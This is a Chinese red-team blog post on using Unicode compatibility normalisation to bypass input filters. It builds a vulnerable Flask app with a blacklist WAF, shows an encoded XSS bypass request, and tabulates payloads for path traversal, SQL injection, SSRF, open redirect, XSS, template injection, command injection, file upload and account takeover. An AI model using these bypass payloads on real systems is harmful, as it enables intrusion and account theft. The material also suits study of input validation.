Unicode 兼容性是Unicode 等效的一种形式,它确保在可能具有不同视觉外观或行为的字符或字符序列之间表示相同的抽象字符。例如,𝕃被标准化为L。此行为可能会为滥用一些在输入清理后执行 unicode 兼容性的弱实现打开大门。
Unicode 兼容形式
有四种标准标准化形式:
-
NFC:标准化形式规范组合
-
NFD:规范化形式规范分解
-
NFKC:标准化形式兼容性组合
-
NFKD:规范化形式兼容性分解
NFKC和NKFD很有趣,因为它们具有兼容性,为了检查这种行为,我们可以使用这个 Python 片段:
import unicodedata
string = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string)
输出:
NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFKC: Leonishan
NFKD: Leonishan
waf绕过
我们先创建简单的web应用程序,如果waf未检测到奇特字符,程序会反映参数给出名称
代码
server.py
from flask import Flask, abort, request
import unicodedata
from waf import waf
app = Flask(__name__)
def Welcome_name():
name = request.args.get('name')
if waf(name):
abort(403, description="XSS Detected")
else:
name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
return 'Test XSS: ' + name
if __name__ == '__main__':
app.run(port=81)
如果检测到某些不常见的字符,此应用程序会加载以下“WAF”以中止连接:
waf.py
def waf(input):
print(input)
blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","",",".","/","?",";",":",""",""","<",">"]
vuln_detected = False
if any(string in input for string in blacklist):
vuln_detected = True
return vuln_detected
因此,某些具有以下有效负载 ( <img src=p onerror='prompt(1)'>) 的请求将被中止
请求
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E
直接返回403
使用脚本fuzz,获取到
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
返回200
如何查找这些字符呢
我们可以到这个网站
https://www.compart.com/en/unicode
可以搜索某个字符,并找到兼容后的相同字符。例如,字符 >
显示这三个字符:≮、﹤和<。单击每个后,我们可以在“分解”部分中看到按以下方式标准化:
-
≮- <(U+003C) - ◌̸(U+0338)
-
﹤- <(U+003C)
-
<- <(U+003C)
在这种情况下,该角色≮将无法实现我们想要的功能,因为它会注入角色◌̸(U+0338)并会破坏我们的有效负载。
其他思路
目录遍历
Character | Payload | After Normalization |
---|---|---|
‥ (U+2025) | ‥/‥/‥/etc/passwd | ../../../etc/passwd |
︰(U+FE30) | ︰/︰/︰/etc/passwd | ../../../etc/passwd |
sql注入
Character | Payload | After Normalization |
---|---|---|
'(U+FF07) | ' or '1'='1 | ’ or ‘1’=’1 |
"(U+FF02) | " or "1"="1 | ” or “1”=”1 |
﹣ (U+FE63) | admin'﹣﹣ | admin’– |
ssrf
Character | Payload | After Normalization |
---|---|---|
⓪ (U+24EA) | ①②⑦.⓪.⓪.① | 127.0.0.1 |
重定向
Character | Payload | After Normalization |
---|---|---|
。(U+3002) | jlajara。gitlab。io | jlajara.gitlab.io |
/(U+FF0F) | //jlajara.gitlab.io | //jlajara.gitlab.io |
xss
Character | Payload | After Normalization |
---|---|---|
<(U+FF1C) | <script src=a/> | <script src=a/> |
"(U+FF02) | "onclick='prompt(1)' | “onclick=’prompt(1)’ |
模板注入
Character | Payload | After Normalization |
---|---|---|
﹛(U+FE5B) | ﹛﹛3+3﹜﹜ | {{3+3}} |
[ (U+FF3B) | [[5+5]] | [[5+5]] |
系统命令注入
Character | Payload | After Normalization |
---|---|---|
& (U+FF06) | &&whoami | &&whoami |
| (U+FF5C) | || whoami | ||whoami |
任意文件上传
Character | Payload | After Normalization |
---|---|---|
p (U+FF50) ʰ (U+02B0) | test.pʰp | test.php |
逻辑
我们可以使用某些字符注册用户,也许注册过程会允许注册,因为此步骤中的用户未规范化并允许该字符。之后,假设应用程序在检索用户数据后执行一些规范化。
1.注册ªdmin。数据库中没有条目,注册成功。
2. 登录ªdmin。后端执行标准化并给出结果admin。
3.账户接管。
特点 | 有效载荷 | 标准化后 |
---|---|---|
ª (U+00AA) | ªdmin | 行政 |
原文始发于微信公众号(红队笔记录):利用unicode特性在红队中的应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论